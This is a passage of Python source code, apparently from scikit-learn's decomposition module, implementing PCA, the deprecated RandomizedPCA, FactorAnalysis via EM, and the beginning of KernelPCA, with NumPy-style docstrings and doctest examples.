        Tolerance for singular values computed by svd_solver == 'arpack'.

        .. versionadded:: 0.18.0

    iterated_power : int >= 0, optional (default 4)
        Number of iterations for the power method computed by
        svd_solver == 'randomized'.

        .. versionadded:: 0.18.0

    random_state : int or RandomState instance or None (default None)
        Pseudo Random Number generator seed control. If None, use the
        numpy.random singleton. Used by svd_solver == 'arpack' or 'randomized'.

        .. versionadded:: 0.18.0

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Principal axes in feature space, representing the directions of
        maximum variance in the data. The components are sorted by
        explained_variance_.

    explained_variance_ : array, [n_components]
        The amount of variance explained by each of the selected components.

    explained_variance_ratio_ : array, [n_components]
        Percentage of variance explained by each of the selected components.

        If ``n_components`` is not set then all components are stored and the
        sum of explained variances is equal to 1.0.

    mean_ : array, [n_features]
        Per-feature empirical mean, estimated from the training set.

        Equal to `X.mean(axis=1)`.

    n_components_ : int
        The estimated number of components. When n_components is set
        to 'mle' or a number between 0 and 1 (with svd_solver == 'full') this
        number is estimated from input data. Otherwise it equals the parameter
        n_components, or n_features if n_components is None.

    noise_variance_ : float
        The estimated noise covariance following the Probabilistic PCA model
        from Tipping and Bishop 1999. See "Pattern Recognition and
        Machine Learning" by C. Bishop, 12.2.1 p. 574 or
        http://www.miketipping.com/papers/met-mppca.pdf. It is required to
        computed the estimated data covariance and score samples.

    References
    ----------
    For n_components == 'mle', this class uses the method of `Thomas P. Minka:
    Automatic Choice of Dimensionality for PCA. NIPS 2000: 598-604`

    Implements the probabilistic PCA model from:
    M. Tipping and C. Bishop, Probabilistic Principal Component Analysis,
    Journal of the Royal Statistical Society, Series B, 61, Part 3, pp. 611-622
    via the score and score_samples methods.
    See http://www.miketipping.com/papers/met-mppca.pdf

    For svd_solver == 'arpack', refer to `scipy.sparse.linalg.svds`.

    For svd_solver == 'randomized', see:
    `Finding structure with randomness: Stochastic algorithms
    for constructing approximate matrix decompositions Halko, et al., 2009
    (arXiv:909)`
    `A randomized algorithm for the decomposition of matrices
    Per-Gunnar Martinsson, Vladimir Rokhlin and Mark Tygert`


    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.decomposition import PCA
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> pca = PCA(n_components=2)
    >>> pca.fit(X)
    PCA(copy=True, iterated_power=4, n_components=2, random_state=None,
      svd_solver='auto', tol=0.0, whiten=False)
    >>> print(pca.explained_variance_ratio_) # doctest: +ELLIPSIS
    [ 0.99244...  0.00755...]

    >>> pca = PCA(n_components=2, svd_solver='full')
    >>> pca.fit(X)                 # doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
    PCA(copy=True, iterated_power=4, n_components=2, random_state=None,
      svd_solver='full', tol=0.0, whiten=False)
    >>> print(pca.explained_variance_ratio_) # doctest: +ELLIPSIS
    [ 0.99244...  0.00755...]

    >>> pca = PCA(n_components=1, svd_solver='arpack')
    >>> pca.fit(X)
    PCA(copy=True, iterated_power=4, n_components=1, random_state=None,
      svd_solver='arpack', tol=0.0, whiten=False)
    >>> print(pca.explained_variance_ratio_) # doctest: +ELLIPSIS
    [ 0.99244...]

    See also
    --------
    KernelPCA
    SparsePCA
    TruncatedSVD
    IncrementalPCA
    """

    def __init__(self, n_components=None, copy=True, whiten=False,
                 svd_solver='auto', tol=0.0, iterated_power=4,
                 random_state=None):
        self.n_components = n_components
        self.copy = copy
        self.whiten = whiten
        self.svd_solver = svd_solver
        self.tol = tol
        self.iterated_power = iterated_power
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model with X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        self._fit(X)
        return self

    def fit_transform(self, X, y=None):
        """Fit the model with X and apply the dimensionality reduction on X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)

        """
        U, S, V = self._fit(X)
        U = U[:, :self.n_components_]

        if self.whiten:
            # X_new = X * V / S * sqrt(n_samples) = U * sqrt(n_samples)
            U *= sqrt(X.shape[0])
        else:
            # X_new = X * V = U * S * V^T * V = U * S
            U *= S[:self.n_components_]

        return U

    def _fit(self, X):
        """Dispatch to the right submethod depending on the chosen solver."""
        X = check_array(X, dtype=[np.float64], ensure_2d=True,
                        copy=self.copy)

        # Handle n_components==None
        if self.n_components is None:
            n_components = X.shape[1]
        else:
            n_components = self.n_components

        # Handle svd_solver
        svd_solver = self.svd_solver
        if svd_solver == 'auto':
            # Small problem, just call full PCA
            if max(X.shape) <= 500:
                svd_solver = 'full'
            elif n_components >= 1 and n_components < .8 * min(X.shape):
                svd_solver = 'randomized'
            # This is also the case of n_components in (0,1)
            else:
                svd_solver = 'full'

        # Call different fits for either full or truncated SVD
        if svd_solver == 'full':
            return self._fit_full(X, n_components)
        elif svd_solver in ['arpack', 'randomized']:
            return self._fit_truncated(X, n_components, svd_solver)

    def _fit_full(self, X, n_components):
        """Fit the model by computing full SVD on X"""
        n_samples, n_features = X.shape

        if n_components == 'mle':
            if n_samples < n_features:
                raise ValueError("n_components='mle' is only supported "
                                 "if n_samples >= n_features")
        elif not 0 <= n_components <= n_features:
            raise ValueError("n_components=%r must be between 0 and "
                             "n_features=%r with svd_solver='full'"
                             % (n_components, n_features))

        # Center data
        self.mean_ = np.mean(X, axis=0)
        X -= self.mean_

        U, S, V = linalg.svd(X, full_matrices=False)
        # flip eigenvectors' sign to enforce deterministic output
        U, V = svd_flip(U, V)

        components_ = V

        # Get variance explained by singular values
        explained_variance_ = (S ** 2) / n_samples
        total_var = explained_variance_.sum()
        explained_variance_ratio_ = explained_variance_ / total_var

        # Postprocess the number of components required
        if n_components == 'mle':
            n_components = \
                _infer_dimension_(explained_variance_, n_samples, n_features)
        elif 0 < n_components < 1.0:
            # number of components for which the cumulated explained
            # variance percentage is superior to the desired threshold
            ratio_cumsum = explained_variance_ratio_.cumsum()
            n_components = np.searchsorted(ratio_cumsum, n_components) + 1

        # Compute noise covariance using Probabilistic PCA model
        # The sigma2 maximum likelihood (cf. eq. 12.46)
        if n_components < min(n_features, n_samples):
            self.noise_variance_ = explained_variance_[n_components:].mean()
        else:
            self.noise_variance_ = 0.

        self.n_samples_, self.n_features_ = n_samples, n_features
        self.components_ = components_[:n_components]
        self.n_components_ = n_components
        self.explained_variance_ = explained_variance_[:n_components]
        self.explained_variance_ratio_ = \
            explained_variance_ratio_[:n_components]

        return U, S, V

    def _fit_truncated(self, X, n_components, svd_solver):
        """Fit the model by computing truncated SVD (by ARPACK or randomized)
        on X
        """
        n_samples, n_features = X.shape

        if isinstance(n_components, six.string_types):
            raise ValueError("n_components=%r cannot be a string "
                             "with svd_solver='%s'"
                             % (n_components, svd_solver))
        elif not 1 <= n_components <= n_features:
            raise ValueError("n_components=%r must be between 1 and "
                             "n_features=%r with svd_solver='%s'"
                             % (n_components, n_features, svd_solver))
        elif svd_solver == 'arpack' and n_components == n_features:
            raise ValueError("n_components=%r must be stricly less than "
                             "n_features=%r with svd_solver='%s'"
                             % (n_components, n_features, svd_solver))

        random_state = check_random_state(self.random_state)

        # Center data
        self.mean_ = np.mean(X, axis=0)
        X -= self.mean_

        if svd_solver == 'arpack':
            # random init solution, as ARPACK does it internally
            v0 = random_state.uniform(-1, 1, size=min(X.shape))
            U, S, V = svds(X, k=n_components, tol=self.tol, v0=v0)
            # svds doesn't abide by scipy.linalg.svd/randomized_svd
            # conventions, so reverse its outputs.
            S = S[::-1]
            # flip eigenvectors' sign to enforce deterministic output
            U, V = svd_flip(U[:, ::-1], V[::-1])

        elif svd_solver == 'randomized':
            # sign flipping is done inside
            U, S, V = randomized_svd(X, n_components=n_components,
                                     n_iter=self.iterated_power,
                                     flip_sign=True,
                                     random_state=random_state)

        self.n_samples_, self.n_features_ = n_samples, n_features
        self.components_ = V
        self.n_components_ = n_components

        # Get variance explained by singular values
        self.explained_variance_ = (S ** 2) / n_samples
        total_var = np.var(X, axis=0)
        self.explained_variance_ratio_ = \
            self.explained_variance_ / total_var.sum()
        if self.n_components_ < n_features:
            self.noise_variance_ = (total_var.sum() -
                                    self.explained_variance_.sum())
        else:
            self.noise_variance_ = 0.

        return U, S, V

    def score_samples(self, X):
        """Return the log-likelihood of each sample.

        See. "Pattern Recognition and Machine Learning"
        by C. Bishop, 12.2.1 p. 574
        or http://www.miketipping.com/papers/met-mppca.pdf

        Parameters
        ----------
        X: array, shape(n_samples, n_features)
            The data.

        Returns
        -------
        ll: array, shape (n_samples,)
            Log-likelihood of each sample under the current model
        """
        check_is_fitted(self, 'mean_')

        X = check_array(X)
        Xr = X - self.mean_
        n_features = X.shape[1]
        log_like = np.zeros(X.shape[0])
        precision = self.get_precision()
        log_like = -.5 * (Xr * (np.dot(Xr, precision))).sum(axis=1)
        log_like -= .5 * (n_features * log(2. * np.pi) -
                          fast_logdet(precision))
        return log_like

    def score(self, X, y=None):
        """Return the average log-likelihood of all samples.

        See. "Pattern Recognition and Machine Learning"
        by C. Bishop, 12.2.1 p. 574
        or http://www.miketipping.com/papers/met-mppca.pdf

        Parameters
        ----------
        X: array, shape(n_samples, n_features)
            The data.

        Returns
        -------
        ll: float
            Average log-likelihood of the samples under the current model
        """
        return np.mean(self.score_samples(X))


@deprecated("RandomizedPCA was deprecated in 0.18 and will be removed in 0.20. "
            "Use PCA(svd_solver='randomized') instead. The new implementation "
            "DOES NOT store whiten components_. Apply transform to get them.")
class RandomizedPCA(BaseEstimator, TransformerMixin):
    """Principal component analysis (PCA) using randomized SVD

    Linear dimensionality reduction using approximated Singular Value
    Decomposition of the data and keeping only the most significant
    singular vectors to project the data to a lower dimensional space.

    Read more in the :ref:`User Guide <RandomizedPCA>`.

    Parameters
    ----------
    n_components : int, optional
        Maximum number of components to keep. When not given or None, this
        is set to n_features (the second dimension of the training data).

    copy : bool
        If False, data passed to fit are overwritten and running
        fit(X).transform(X) will not yield the expected results,
        use fit_transform(X) instead.

    iterated_power : int, optional
        Number of iterations for the power method. 2 by default.

        .. versionchanged:: 0.18

    whiten : bool, optional
        When True (False by default) the `components_` vectors are multiplied by
        the square root of (n_samples) and divided by the singular values to
        ensure uncorrelated outputs with unit component-wise variances.

        Whitening will remove some information from the transformed signal
        (the relative variance scales of the components) but can sometime
        improve the predictive accuracy of the downstream estimators by
        making their data respect some hard-wired assumptions.

    random_state : int or RandomState instance or None (default)
        Pseudo Random Number generator seed control. If None, use the
        numpy.random singleton.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Components with maximum variance.

    explained_variance_ratio_ : array, [n_components]
        Percentage of variance explained by each of the selected components.
        k is not set then all components are stored and the sum of explained
        variances is equal to 1.0

    mean_ : array, [n_features]
        Per-feature empirical mean, estimated from the training set.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.decomposition import RandomizedPCA
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> pca = RandomizedPCA(n_components=2)
    >>> pca.fit(X)                 # doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
    RandomizedPCA(copy=True, iterated_power=2, n_components=2,
           random_state=None, whiten=False)
    >>> print(pca.explained_variance_ratio_) # doctest: +ELLIPSIS
    [ 0.99244...  0.00755...]

    See also
    --------
    PCA
    TruncatedSVD

    References
    ----------

    .. [Halko2009] `Finding structure with randomness: Stochastic algorithms
      for constructing approximate matrix decompositions Halko, et al., 2009
      (arXiv:909)`

    .. [MRT] `A randomized algorithm for the decomposition of matrices
      Per-Gunnar Martinsson, Vladimir Rokhlin and Mark Tygert`

    """

    def __init__(self, n_components=None, copy=True, iterated_power=2,
                 whiten=False, random_state=None):
        self.n_components = n_components
        self.copy = copy
        self.iterated_power = iterated_power
        self.whiten = whiten
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model with X by extracting the first principal components.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        self._fit(check_array(X))
        return self

    def _fit(self, X):
        """Fit the model to the data X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        Returns
        -------
        X : ndarray, shape (n_samples, n_features)
            The input data, copied, centered and whitened when requested.
        """
        random_state = check_random_state(self.random_state)
        X = np.atleast_2d(as_float_array(X, copy=self.copy))

        n_samples = X.shape[0]

        # Center data
        self.mean_ = np.mean(X, axis=0)
        X -= self.mean_
        if self.n_components is None:
            n_components = X.shape[1]
        else:
            n_components = self.n_components

        U, S, V = randomized_svd(X, n_components,
                                 n_iter=self.iterated_power,
                                 random_state=random_state)

        self.explained_variance_ = exp_var = (S ** 2) / n_samples
        full_var = np.var(X, axis=0).sum()
        self.explained_variance_ratio_ = exp_var / full_var

        if self.whiten:
            self.components_ = V / S[:, np.newaxis] * sqrt(n_samples)
        else:
            self.components_ = V

        return X

    def transform(self, X, y=None):
        """Apply dimensionality reduction on X.

        X is projected on the first principal components previous extracted
        from a training set.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            New data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)

        """
        check_is_fitted(self, 'mean_')

        X = check_array(X)
        if self.mean_ is not None:
            X = X - self.mean_

        X = fast_dot(X, self.components_.T)
        return X

    def fit_transform(self, X, y=None):
        """Fit the model with X and apply the dimensionality reduction on X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            New data, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)

        """
        X = check_array(X)
        X = self._fit(X)
        return fast_dot(X, self.components_.T)

    def inverse_transform(self, X, y=None):
        """Transform data back to its original space.

        Returns an array X_original whose transform would be X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_components)
            New data, where n_samples in the number of samples
            and n_components is the number of components.

        Returns
        -------
        X_original array-like, shape (n_samples, n_features)

        Notes
        -----
        If whitening is enabled, inverse_transform does not compute the
        exact inverse operation of transform.
        """
        check_is_fitted(self, 'mean_')

        X_original = fast_dot(X, self.components_)
        if self.mean_ is not None:
            X_original = X_original + self.mean_
        return X_original






"""Factor Analysis.

A latent linear variable model.

FactorAnalysis is similar to probabilistic PCA implemented by PCA.score
While PCA assumes Gaussian noise with the same variance for each
feature, the FactorAnalysis model assumes different variances for
each of them.

This implementation is based on David Barber's Book,
Bayesian Reasoning and Machine Learning,
http://www.cs.ucl.ac.uk/staff/d.barber/brml,
Algorithm 21.1
"""

# Author: Christian Osendorfer <osendorf@gmail.com>
#         Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Denis A. Engemann <d.engemann@fz-juelich.de>

# License: BSD3

import warnings
from math import sqrt, log
import numpy as np
from scipy import linalg


from ..base import BaseEstimator, TransformerMixin
from ..externals.six.moves import xrange
from ..utils import check_array, check_random_state
from ..utils.extmath import fast_logdet, fast_dot, randomized_svd, squared_norm
from ..utils.validation import check_is_fitted
from ..exceptions import ConvergenceWarning


class FactorAnalysis(BaseEstimator, TransformerMixin):
    """Factor Analysis (FA)

    A simple linear generative model with Gaussian latent variables.

    The observations are assumed to be caused by a linear transformation of
    lower dimensional latent factors and added Gaussian noise.
    Without loss of generality the factors are distributed according to a
    Gaussian with zero mean and unit covariance. The noise is also zero mean
    and has an arbitrary diagonal covariance matrix.

    If we would restrict the model further, by assuming that the Gaussian
    noise is even isotropic (all diagonal entries are the same) we would obtain
    :class:`PPCA`.

    FactorAnalysis performs a maximum likelihood estimate of the so-called
    `loading` matrix, the transformation of the latent variables to the
    observed ones, using expectation-maximization (EM).

    Read more in the :ref:`User Guide <FA>`.

    Parameters
    ----------
    n_components : int | None
        Dimensionality of latent space, the number of components
        of ``X`` that are obtained after ``transform``.
        If None, n_components is set to the number of features.

    tol : float
        Stopping tolerance for EM algorithm.

    copy : bool
        Whether to make a copy of X. If ``False``, the input X gets overwritten
        during fitting.

    max_iter : int
        Maximum number of iterations.

    noise_variance_init : None | array, shape=(n_features,)
        The initial guess of the noise variance for each feature.
        If None, it defaults to np.ones(n_features)

    svd_method : {'lapack', 'randomized'}
        Which SVD method to use. If 'lapack' use standard SVD from
        scipy.linalg, if 'randomized' use fast ``randomized_svd`` function.
        Defaults to 'randomized'. For most applications 'randomized' will
        be sufficiently precise while providing significant speed gains.
        Accuracy can also be improved by setting higher values for
        `iterated_power`. If this is not sufficient, for maximum precision
        you should choose 'lapack'.

    iterated_power : int, optional
        Number of iterations for the power method. 3 by default. Only used
        if ``svd_method`` equals 'randomized'

    random_state : int or RandomState
        Pseudo number generator state used for random sampling. Only used
        if ``svd_method`` equals 'randomized'

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Components with maximum variance.

    loglike_ : list, [n_iterations]
        The log likelihood at each iteration.

    noise_variance_ : array, shape=(n_features,)
        The estimated noise variance for each feature.

    n_iter_ : int
        Number of iterations run.

    References
    ----------
    .. David Barber, Bayesian Reasoning and Machine Learning,
        Algorithm 21.1

    .. Christopher M. Bishop: Pattern Recognition and Machine Learning,
        Chapter 12.2.4

    See also
    --------
    PCA: Principal component analysis is also a latent linear variable model
        which however assumes equal noise variance for each feature.
        This extra assumption makes probabilistic PCA faster as it can be
        computed in closed form.
    FastICA: Independent component analysis, a latent variable model with
        non-Gaussian latent variables.
    """
    def __init__(self, n_components=None, tol=1e-2, copy=True, max_iter=1000,
                 noise_variance_init=None, svd_method='randomized',
                 iterated_power=3, random_state=0):
        self.n_components = n_components
        self.copy = copy
        self.tol = tol
        self.max_iter = max_iter
        if svd_method not in ['lapack', 'randomized']:
            raise ValueError('SVD method %s is not supported. Please consider'
                             ' the documentation' % svd_method)
        self.svd_method = svd_method

        self.noise_variance_init = noise_variance_init
        self.iterated_power = iterated_power
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the FactorAnalysis model to X using EM

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        Returns
        -------
        self
        """
        X = check_array(X, copy=self.copy, dtype=np.float64)

        n_samples, n_features = X.shape
        n_components = self.n_components
        if n_components is None:
            n_components = n_features
        self.mean_ = np.mean(X, axis=0)
        X -= self.mean_

        # some constant terms
        nsqrt = sqrt(n_samples)
        llconst = n_features * log(2. * np.pi) + n_components
        var = np.var(X, axis=0)

        if self.noise_variance_init is None:
            psi = np.ones(n_features, dtype=X.dtype)
        else:
            if len(self.noise_variance_init) != n_features:
                raise ValueError("noise_variance_init dimension does not "
                                 "with number of features : %d != %d" %
                                 (len(self.noise_variance_init), n_features))
            psi = np.array(self.noise_variance_init)

        loglike = []
        old_ll = -np.inf
        SMALL = 1e-12

        # we'll modify svd outputs to return unexplained variance
        # to allow for unified computation of loglikelihood
        if self.svd_method == 'lapack':
            def my_svd(X):
                _, s, V = linalg.svd(X, full_matrices=False)
                return (s[:n_components], V[:n_components],
                        squared_norm(s[n_components:]))
        elif self.svd_method == 'randomized':
            random_state = check_random_state(self.random_state)

            def my_svd(X):
                _, s, V = randomized_svd(X, n_components,
                                         random_state=random_state,
                                         n_iter=self.iterated_power)
                return s, V, squared_norm(X) - squared_norm(s)
        else:
            raise ValueError('SVD method %s is not supported. Please consider'
                             ' the documentation' % self.svd_method)

        for i in xrange(self.max_iter):
            # SMALL helps numerics
            sqrt_psi = np.sqrt(psi) + SMALL
            s, V, unexp_var = my_svd(X / (sqrt_psi * nsqrt))
            s **= 2
            # Use 'maximum' here to avoid sqrt problems.
            W = np.sqrt(np.maximum(s - 1., 0.))[:, np.newaxis] * V
            del V
            W *= sqrt_psi

            # loglikelihood
            ll = llconst + np.sum(np.log(s))
            ll += unexp_var + np.sum(np.log(psi))
            ll *= -n_samples / 2.
            loglike.append(ll)
            if (ll - old_ll) < self.tol:
                break
            old_ll = ll

            psi = np.maximum(var - np.sum(W ** 2, axis=0), SMALL)
        else:
            warnings.warn('FactorAnalysis did not converge.' +
                          ' You might want' +
                          ' to increase the number of iterations.',
                          ConvergenceWarning)

        self.components_ = W
        self.noise_variance_ = psi
        self.loglike_ = loglike
        self.n_iter_ = i + 1
        return self

    def transform(self, X):
        """Apply dimensionality reduction to X using the model.

        Compute the expected mean of the latent variables.
        See Barber, 21.2.33 (or Bishop, 12.66).

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        Returns
        -------
        X_new : array-like, shape (n_samples, n_components)
            The latent variables of X.
        """
        check_is_fitted(self, 'components_')

        X = check_array(X)
        Ih = np.eye(len(self.components_))

        X_transformed = X - self.mean_

        Wpsi = self.components_ / self.noise_variance_
        cov_z = linalg.inv(Ih + np.dot(Wpsi, self.components_.T))
        tmp = fast_dot(X_transformed, Wpsi.T)
        X_transformed = fast_dot(tmp, cov_z)

        return X_transformed

    def get_covariance(self):
        """Compute data covariance with the FactorAnalysis model.

        ``cov = components_.T * components_ + diag(noise_variance)``

        Returns
        -------
        cov : array, shape (n_features, n_features)
            Estimated covariance of data.
        """
        check_is_fitted(self, 'components_')

        cov = np.dot(self.components_.T, self.components_)
        cov.flat[::len(cov) + 1] += self.noise_variance_  # modify diag inplace
        return cov

    def get_precision(self):
        """Compute data precision matrix with the FactorAnalysis model.

        Returns
        -------
        precision : array, shape (n_features, n_features)
            Estimated precision of data.
        """
        check_is_fitted(self, 'components_')

        n_features = self.components_.shape[1]

        # handle corner cases first
        if self.n_components == 0:
            return np.diag(1. / self.noise_variance_)
        if self.n_components == n_features:
            return linalg.inv(self.get_covariance())

        # Get precision using matrix inversion lemma
        components_ = self.components_
        precision = np.dot(components_ / self.noise_variance_, components_.T)
        precision.flat[::len(precision) + 1] += 1.
        precision = np.dot(components_.T,
                           np.dot(linalg.inv(precision), components_))
        precision /= self.noise_variance_[:, np.newaxis]
        precision /= -self.noise_variance_[np.newaxis, :]
        precision.flat[::len(precision) + 1] += 1. / self.noise_variance_
        return precision

    def score_samples(self, X):
        """Compute the log-likelihood of each sample

        Parameters
        ----------
        X: array, shape (n_samples, n_features)
            The data

        Returns
        -------
        ll: array, shape (n_samples,)
            Log-likelihood of each sample under the current model
        """
        check_is_fitted(self, 'components_')

        Xr = X - self.mean_
        precision = self.get_precision()
        n_features = X.shape[1]
        log_like = np.zeros(X.shape[0])
        log_like = -.5 * (Xr * (np.dot(Xr, precision))).sum(axis=1)
        log_like -= .5 * (n_features * log(2. * np.pi)
                          - fast_logdet(precision))
        return log_like

    def score(self, X, y=None):
        """Compute the average log-likelihood of the samples

        Parameters
        ----------
        X: array, shape (n_samples, n_features)
            The data

        Returns
        -------
        ll: float
            Average log-likelihood of the samples under the current model
        """
        return np.mean(self.score_samples(X))






"""Kernel Principal Components Analysis"""

# Author: Mathieu Blondel <mathieu@mblondel.org>
# License: BSD 3 clause

import numpy as np
from scipy import linalg

from ..utils import check_random_state
from ..utils.arpack import eigsh
from ..utils.validation import check_is_fitted, check_array
from ..exceptions import NotFittedError
from ..base import BaseEstimator, TransformerMixin
from ..preprocessing import KernelCenterer
from ..metrics.pairwise import pairwise_kernels


class KernelPCA(BaseEstimator, TransformerMixin):
    """Kernel Principal component analysis (KPCA)

    Non-linear dimensionality reduction through the use of kernels (see
    :ref:`metrics`).

    Read more in the :ref:`User Guide <kernel_PCA>`.

    Parameters
    ----------
    n_components : int, default=None
        Number of components. If None, all non-zero components are kept.

    kernel : "linear" | "poly" | "rbf" | "sigmoid" | "cosine" | "precomputed"
        Kernel. Default="linear".

    degree : int, default=3
        Degree for poly kernels. Ignored by other kernels.

    gamma : float, optional
        Kernel coefficient for rbf and poly kernels. Default: 1/n_features.
        Ignored by other kernels.

    coef0 : float, optional
        Independent term in poly and sigmoid kernels.
        Ignored by other kernels.

    kernel_params : mapping of string to any, optional
        Parameters (keyword arguments) and values for kernel passed as
        callable object. Ignored by other kernels.

    alpha : int, default=1.0
        Hyperparameter of the ridge regression that learns the
        inverse transform (when fit_inverse_transform=True).

    fit_inverse_transform : bool, default=False
        Learn the inverse transform for non-precomputed kernels.
        (i.e. learn to find the pre-image of a point)

    eigen_solver : string ['auto'|'dense'|'arpack']
        Select eigensolver to use. If n_components is much less than
        the number of training samples, arpack may be more efficient
        than the dense eigensolver.

    tol : float, default=0
        Convergence tolerance for arpack. If zero, optimal value will be
        chosen by arpack.

    max_iter : int, default=None
        Maximum number of iterations for arpack. If None, optimal value will
        be chosen by arpack.

    remove_zero_eig : boolean, default=False
        If True, then all components with zero eigenvalues are removed, so
        that the number of components in the output may be < n_components
        (and sometimes even zero due to numerical instability).
        When n_components is None, this parameter is ignored and components
        with zero eigenvalues are removed regardless.

    random_state : int seed, RandomState instance, or None, default=None
        A pseudo random number generator used for the initialization of the
        residuals when eigen_solver == 'arpack'.

    n_jobs : int, default=1
        The number of parallel jobs to run.
        If `-1`, then the number of jobs is set to the number of CPU cores.

    copy_X : boolean, default=True
        If True, input X is copied and stored by the model in the `X_fit_`
        attribute. If no further changes will be done to X, setting
        `copy_X=False` saves memory by storing a reference.

    Attributes
    ----------
    lambdas_ : array, (n_components,)
        Eigenvalues of the centered kernel matrix in decreasing order.
        If `n_components` and `remove_zero_eig` are not set,
        then all values are stored.

    alphas_ : array, (n_samples, n_components)
        Eigenvectors of the centered kernel matrix. If `n_components` and
        `remove_zero_eig` are not set, then all components are stored.

    dual_coef_ : array, (n_samples, n_features)
        Inverse transform matrix. If `fit_inverse_transform=False`,
        dual_coef_ is not present.

    X_transformed_fit_ : array, (n_samples, n_components)
        Projection of the fitted data on the kernel principal components.

    X_fit_ : (n_samples, n_features)
        The data used to fit the model. If `copy_X=False`, then `X_fit_` is
        a reference.

    References
    ----------
    Kernel PCA was introduced in:
        Bernhard Schoelkopf, Alexander J. Smola,
        and Klaus-Robert Mueller. 1999. Kernel principal
        component analysis. In Advances in kernel methods,
        MIT Press, Cambridge, MA, USA 327-352.
    """

    def __init__(self, n_components=None, kernel="linear",
                 gamma=None, degree=3, coef0=1, kernel_params=None,
                 alpha=1.0, fit_inverse_transform=False, eigen_solver='auto',
                 tol=0, max_iter=None, remove_zero_eig=False,
                 random_state=None, copy_X=True, n_jobs=1):
        if fit_inverse_transform and kernel == 'precomputed':
            raise ValueError(
                "Cannot fit_inverse_transform with a precomputed kernel.")
        self.n_components = n_components
        self.kernel = kernel
        self.kernel_params = kernel_params
        self.gamma = gamma
        self.degree = degree
        self.coef0 = coef0
        self.alpha = alpha
        self.fit_inverse_transform = fit_inverse_transform
        self.eigen_solver = eigen_solver
        self.remove_zero_eig = remove_zero_eig
        self.tol = tol
        self.max_iter = max_iter
        self._centerer = KernelCenterer()
        self.random_state = random_state
        self.n_jobs = n_jobs
        self.copy_X = copy_X

    @property
    def _pairwise(self):
        return self.kernel == "precomputed"

    def _get_kernel(self, X, Y=None):
        if callable(self.kernel):
            params = self.kernel_params or {}
        else:
            params = {"gamma": self.gamma,
                      "degree": self.degree,
                      "coef0": self.coef0}
        return pairwise_kernels(X, Y, metric=self.kernel,
                                filter_params=True, n_jobs=self.n_jobs,
                                **params)

    def _fit_transform(self, K):
        """ Fit's using kernel K"""
        # center kernel
        K = self._centerer.fit_transform(K)

        if self.n_components is None:
            n_components = K.shape[0]
        else:
            n_components = min(K.shape[0], self.n_components)

        # compute eigenvectors
        if self.eigen_solver == 'auto':
            if K.shape[0] > 200 and n_components < 10:
                eigen_solver = 'arpack'
            else:
                eigen_solver = 'dense'
        else:
            eigen_solver = self.eigen_solver

        if eigen_solver == 'dense':
            self.lambdas_, self.alphas_ = linalg.eigh(
                K, eigvals=(K.shape[0] - n_components, K.shape[0] - 1))
        elif eigen_solver == 'arpack':
            random_state = check_random_state(self.random_state)
            # initialize with [-1,1] as in ARPACK
            v0 = random_state.uniform(-1, 1, K.shape[0])
            self.lambdas_, self.alphas_ = eigsh(K, n_components,
                                                which="LA",
                                                tol=self.tol,
                                                maxiter=self.max_iter,
                                                v0=v0)

        # sort eigenvectors in descending order
        indices = self.lambdas_.argsort()[::-1]
        self.lambdas_ = self.lambdas_[indices]
        self.alphas_ = self.alphas_[:, indices]

        # remove eigenvectors with a zero eigenvalue
        if self.remove_zero_eig or self.n_components is None:
            self.alphas_ = self.alphas_[:, self.lambdas_ > 0]
            self.lambdas_ = self.lambdas_[self.lambdas_ > 0]

        return K

    def _fit_inverse_transform(self, X_transformed, X):
        if hasattr(X, "tocsr"):
            raise NotImplementedError("Inverse transform not implemented for "
                                      "sparse matrices!")

        n_samples = X_transformed.shape[0]
        K = self._get_kernel(X_transformed)
        K.flat[::n_samples + 1] += self.alpha
        self.dual_coef_ = linalg.solve(K, X, sym_pos=True, overwrite_a=True)
        self.X_transformed_fit_ = X_transformed

    def fit(self, X, y=None):
        """Fit the model from data in X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        X = check_array(X, accept_sparse='csr', copy=self.copy_X)
        K = self._get_kernel(X)
        self._fit_transform(K)

        if self.fit_inverse_transform:
            sqrt_lambdas = np.diag(np.sqrt(self.lambdas_))
            X_transformed = np.dot(self.alphas_, sqrt_lambdas)
            self._fit_inverse_transform(X_transformed, X)

        self.X_fit_ = X
        return self

    def fit_transform(self, X, y=None, **params):
        """Fit the model from data in X and transform X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new: array-like, shape (n_samples, n_components)
        """
        self.fit(X, **params)

        X_transformed = self.alphas_ * np.sqrt(self.lambdas_)

